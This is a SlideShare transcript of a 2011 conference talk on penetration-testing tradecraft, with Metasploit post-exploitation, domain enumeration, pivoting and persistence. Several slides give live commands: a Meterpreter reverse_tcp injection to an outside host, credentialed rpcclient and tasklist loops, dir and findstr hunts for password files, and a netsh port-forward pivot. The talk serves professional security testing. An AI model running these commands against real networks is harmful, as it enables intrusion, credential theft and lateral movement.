Your SlideShare is downloading. ×
The Dirty Little Secrets They Didn’t Teach You In Pentesting Class
Upcoming SlideShare
Loading in...5

Thanks for flagging this SlideShare!

Oops! An error has occurred.

Saving this for later? Get the SlideShare app to save on your phone or tablet. Read anywhere, anytime – even offline.
Text the download link to your phone
Standard text messaging rates apply

The Dirty Little Secrets They Didn’t Teach You In Pentesting Class


Published on

This talk is about methodologies and tools that we use or have coded that make our lives and pentest schedule a little easier, and why we do things the way we do. Of course, there will be a healthy …

This talk is about methodologies and tools that we use or have coded that make our lives and pentest schedule a little easier, and why we do things the way we do. Of course, there will be a healthy dose of Metasploit in the mix.

Published in: Technology

  • Be the first to comment

No Downloads
Total Views
On Slideshare
From Embeds
Number of Embeds
Embeds 0
No embeds

Report content
Flagged as inappropriate Flag as inappropriate
Flag as inappropriate

Select your reason for flagging this presentation as inappropriate.

No notes for slide
  • Chris*How I do shit MAY not be better for you…but you’re here. So hopefully it will helpWhat the collective we are doing so far, obviouslyisnt working.
  • Rob
  • You == the tester, the client, the consultantChris
  • Rob
  • Chris
  • Chris
  • Chris
  • Chris
  • Rob
  • “there is no spoon” moment, where we talk about how pivoting, persistence, and post exploitation are just parts of the normal cycleRob
  • Chris
  • Chris
  • Rob
  • Chris
  • Rob
  • Rob
  • Rob
  • Chris
  • Chris
  • remember that your passwords suckChris
  • ChrisScript arguements
  • Chris
  • Chris
  • Chris
  • Chris
  • Chris & Rob with table example
  • Chris
  • Chris
  • Chris
  • Chris
  • Chris
  • Rob
  • Rob
  • Rob
  • Getting shells, keeping shells, keeping a backup shellKick yourself a shell before you do stupid shellKeep a host where you have a shell in case everything goes to hellChris
  • Rob
  • This slide not in public deck!
  • chris
  • chris
  • Push up ‘mycmd.exe’ / 16bit bypassRob then Chris
  • rob
  • rob
  • Rob
  • ChrisSharing domain accounts across domainsLook for Enterprise admins
  • If you need help getting the SID…well…googlechris
  • Chris
  • rob
  • rob
  • rob
  • chris
  • Chris
  • Chris
  • Chris
  • ChrisStory 1: Shared drives with Everyone accessStory 2: LophtCrack password dump with Admin Share
  • ChrisKey is using windows tools to move around and find stuff. But also use custom tools to find stuff.Powershell search string stuffOpenDLPpsexec set EXE::Custom Operator vs Attacker (look at it on target, vsexfil then hand off to analyst)
  • Rob
  • Chris
  • Rob
  • Transcript

    • 1. The Dirty Little Secrets They Didn’t Teach You In Pentesting Class
      DerbyCon 2011
    • 2. meterpreter> getuid
      Chris Gates (CG)
      Twitter carnal0wnage
      Job Partner/Principal Security Consultant at Lares
      Affiliations  Attack Research, Metasploit
      Previous Talks
      Attack Oracle (via web)
      wXf Web eXploitation Framework
      Open Source Information Gathering
      Attacking Oracle (via TNS)
      Client-Side Attacks
    • 3. meterpreter> getuid
      Rob Fuller (mubix)
      Twitter -> mubix
      Blog ->
      Job -> Penetration Tester for Rapid7
      Previous Talks
      Networking for Penetration Testers
      Metasploit Framework/Pro Training for Rapid7
      Deep Magic 101
      Couch to Career in 80 hours
    • 4. The setup…
      We do things
      You do things
      There’s a better way to do things*
      Because ‘they’ do them that way
      Or… now they will because you are some of ‘they’
      Use what you works for you
    • 5. Domain Admin Or Bust
      Usually this means adding yourself as one
      (aka fastest way to get caught)
      Really just about measuring…
    • 6. Pentesting Goals
      What’s our goal?
      Vulnerability Driven vs. Data Driven vs. Capability Driven pentest/goal
      What’s a *good* goal?
      Domain Admin is “A Goal” but it’s a stupid goal.
      What makes the client money is a better goal (if you* can identify it)
      Problems arise in actually identifying this. What’s important to testers vs client vs bad guys…
      Best goal, testing client’s ability to detect & respond to various levels of attackers
    • 7. Majority of ‘Pentesting’ going on today…
    • 8. Majority of ‘Pentesting’ going on today…
      Look I got 500+ shells!
    • 9.
    • 10. Is it working?
      Who got 0wned?
      Northrop Grumman:
      Lockheed Martin:
      Booz Allen Hamilton:
    • 11. Is it working?
      Who got 0wned? (recently)
      Texas Police:
      Japan Mitsubishi Heavy Industries:
      Everyone else (via RSA Employee #15666):
    • 12. Is it working?
      Interaction Time!
    • 13. A Better way?
    • 14. Actual Attack Scenarios
    • 15. Actual Attack Scenarios (best case)
    • 16. k, enough fiddle faddle…
      IT Security Industry is currently focused on minimizing the presence of vulnerabilities
      Consider a change in focus to what attacker tactics/techniques you can detect and respond to
      Let’s call this “Capability Driven Security Assessments”
      See my BruCon talk with Joe McCray
      To do this we need to ramp up post exploitation and stealth
    • 17. vs
    • 18. Prepwork
    • 19. Prep Work
      Prep work, its awesome, show it some love…
      Make your click scripts
      Update your stuff
      Have script and screen ready to go
    • 20. How many of you have lost a shell because _your_ connection died?
    • 21. Screen
      No, not like drug screen…
      “Screen is a full-screen window manager that multiplexes a physical terminal between several processes, typically interactive shells.”
    • 22. Screen Commands and Keyboard Shortcuts
      screen –S mycustomer
      CTRL-A then D (Detach)
      screen –ls
      screen –x –d mycustomer
      attaches to ‘mycustomer’ screen
      detaches other ‘attached’ sessions
      CTRL-A :multiuser on
      (Does not work on Debian based)
    • 23. How many of you have lost a data because your scrollback wasn’t set to be long enough?
    • 24. Script
      No, not like java script…
      Logs all your stuff
      Use it
      user@ubuntu:~$ script clientname.txt
      Script started, file is clientname.txt
      user@ubuntu:~$ exit
      Script done, file is clientname.txt
    • 25. Discovery
    • 26. Discovery
      Finding stuff to lay the smack down on
    • 27. Quick Tangent Passwords
      Your passwords suck
    • 28. Your passwords suck
      One of these passwords almost always works…
      OK back to it….
    • 29. Nmap Scripts
      Obligatory nod to nmap scripts
      Best scripts don’t fire off automatically with “-A”
      Some of the cooler scripts…
      Citrix, NFS, AFP, SNMP, LDAP awesome
      Database coverage
      Lots of handy stuff, some overlap with MSF aux but some things aux doesn’t have.
      Go See Ron’s talk on Sunday
    • 30. Nmap Scripts
      (removed citrix-enum-app-xml pic)
    • 31. Passwords
      Your passwords suck
    • 32. Nmap Scripts
    • 33. Nmap Scripts
    • 34. MSF Auxiliary Modules
      Metasploit Aux modules are awesome
      Handle all the BS for you
      Uses lib/rex ==“Ruby EXploitationlibrary”
      Basic library for most tasks
      Sockets, protocols, command shell interface
      SSL, SMB, HTTP, XOR, Base64, random text
      Intended to be useful outside of the framework
      Lib/rex ported to a ruby gem!
      Can make use of rex outside of MSF if so desired
    • 35. MSF Auxiliary Modules
      Designed to help with reconnaissance
      Dozens of useful service scanners
      Simple module format, easy to use
      Specify THREADS for concurrency
      Keep this under 16 for native Windows
      256 is fine on Linux
      Uses RHOSTS instead of RHOST
    • 36. MSF Auxiliary Modules
      Uses OptAddressRangeoption class, similar to nmap host specification,3,5-7
      Standard ranges
      Same IP on multiple subnets
      0-255 for whatever this resolves to
      Line separated list of targets
    • 37. MSF Auxiliary Modules
    • 38. MSF Auxiliary Modules
    • 39. MSF Auxiliary Modules
      Write your own to solve problems on the fly
      You should have been in egyp7’s training
    • 40. Exploitation
    • 41. Exploitation
      We seem ok at this already…
      Considering it covered…
      Open my email…click that link…you know you want to…k thx bye
    • 42. POST-Exploitation
    • 43. Post Exploitation Google Docs
      Open Source (Anyone can edit them)
      Will always be public
      (might have to lock down the edit privs based on defacement rate)
    • 44. What is the best persistence method?
      Pro’s Persistence Agent
      Thunderbird SPAM Persistence
      DNS, HTTP, HTTPS, etc
      CORE Agent?
      Wiz-bang custom binary/backdoor?
      RAT (probably backdoored in other ways)
    • 45. Nah… this is better
    • 46. cat MyPasswords.txt
    • 47. More on that later…
    • 48. Hooking your homies up
      run multi_meter_inject -pt windows/meterpreter/reverse_tcp -mr1.2.3.4 -p 80
      Multi-user functionality with armitage/msf pro
    • 49. Finding Stuff internally
    • 50. GOOD
      Angry IP Scanner?
      “net view /domain”
    • 51. BETTER
      DSQUERY / DSGET (Annoying)
      (Joeware) ADFind (less annoying)
    • 52. BETTER
      osql –L
      Lists all MS SQL servers
    • 53. BETTER
      DSQUERY / DSGET (Annoying)
      dsquery computer -limit 0 current domain
      dsqueryuser -limit 0
      dsquery computer -limit 0 "DC=company,DC=net"
      dsquery user -limit 0 "DC=company,DC=net“ other domain
      Or use adfind (joeware)
    • 54. BETTER
      Keeps trying to get you info if one path fails
    • 55. What if CMD.exe is disabled?
    • 56.
    • 57. But… dropping binaries == bad
      Damn you forensics people!
      (On exception binaries that blend in)
    • 58. BEST
      Use the underlying API
    • 59. Route
    • 60. ARPTable
      No screenie
    • 61. TCPTable
    • 62. BEST (Cont’d)
      Explain NetDiscovery
      Demo NetDiscovery
      Highlight SQL, DC, UNIX, Novell selections
      Explain DomainDiscovery
      Demo DomainDiscovery
    • 63. NetDiscovery
      Demo pic
    • 64. Quick Tangent
      mini NetDiscovery for just one hostname
    • 65. DomainDiscovery
      What domains do you have access to?
      Are they domains?
      What are the names of all their domain controllers?
    • 67. GOOD
      net group “domain admins” /domain
      net group “domain admins” /domain:DM
      net localgroup Administrators
      net group localgroup Administrators /domain
      net user domainadmin_username /domain
      net user username /domain
    • 68. BETTER
      Enumerate users
      for i in {500..600}
      rpcclient -U “user%Password1" -W DOMAIN -c "lookupsids S-1-5-21-1289870825-1602939633-2792175544-$i
    • 69. Passwords
      Your passwords suck
    • 70. BEST
      Explain UserDiscovery
      Demo UserDiscovery
      Explain DisplaySessions
      Demo DisplaySessions
    • 71. UserDiscovery
      Sorry no screenie
    • 72. DisplaySessions
    • 73. Creating Zombies
      ShellExecute, CreateProcessWithLogon, LogonUser
      WCE + runhash32/64
      user level psexec == zombie user & token
    • 74. DEMO
      Run executable
      in memory
    • 75. Privilege Escalation
      Remember, you don’t HAVE to do this phase…
    • 76. GOOD
      Post modules
      Keyboard layout
      Core Impact / Canvas ship with locals
      Honestly a big lacking area for MSF 
    • 77. getsystem has options, use themor loose shells
    • 78. BETTER?
      Explain DomainDrop
    • 79. BEST
      Just ask for it…
      Explain ‘Ask’ module
      Looking for the user that has the $stuff
      tasklist /V /S $IP /U $user /P $password
      for /F "skip=3 delims= " %A in ('net view') do tasklist /V /S %A /U $user /P $password
    • 80. Just Ask
    • 81. BEST
      Just ask for it…
      Explain ‘Ask’ module
      Looking for the user that has the $stuff
      tasklist /V /S $IP /U $user /P $password
      for /F "skip=3 delims= " %A in ('net view') do tasklist /V /S %A /U $user /P $password
    • 82. Finding the Hope
      Locating the data that actually matters…
    • 83. Searching for Gold (Good)
      Dir /s “My Documents”
      Dir /s “Desktop”
      Dir /s *.pcf
    • 84. Searching for Gold (Good)
      Searching for files
      dir c:*password* /s
      dir c:*competitor* /s
      dir c:*finance* /s
      dir c:*risk* /s
      dir c:*assessment* /s
      dir c:*.key* /s
      dir c:*.vsd /s
      dir c:*.pcf /s
      dir c:*.ica /s
      dirc:*.crt /s
      dir c:*.log /s
      Search in files
      findstr /I /N /S /P /C:password *
      findstr /I /N /S /P /C:secret *
      findstr /I /N /S /P /C:confidential *
      findstr /I /N /S /P /C:account *
      Powershell/WMIC to do it
    • 85. Searching for Gold (Better)
      Outlook, IE, Chrome, RDP Password Extraction
      Basically the whole ‘credentials’ post module section
      Shouts to illwill, Kx499, thelightcosine
    • 86. Searching for Gold (Best)
      Fiction’s Database Searcher
      Search in Meterpreter
      Uses windows indexing i.e. outlook email
      Dir /s $share > filetosearchoffline.txt
      Findstr too 
      Do what works for you…click scripts rule
    • 87. PIVOTING
      Kind dumb to stay on the initial point of entry…
    • 88. Portforwarding
      Sock4a module + meterpreter session
      Pro VPN Pivot?
      Built into Windows
      netsh interface portproxy>add v4tov4 listenport=25 connectaddress= connectport=80 protocol=tcp
      Legitimate Access via VPN, Term Server, Citrix, etc
      One week isn’t showing impact of internal awareness…
    • 90. Microsoft has an app for that…
    • 91. These won’t show up there…
      Smartlocker -> lockout_recorder
      Explain gpo_dropperhbgary
      Explain IPv6 Dropper
    • 92.
    • 93. code on githubsoonish
    • 94. Chris Gates
      Rob Fuller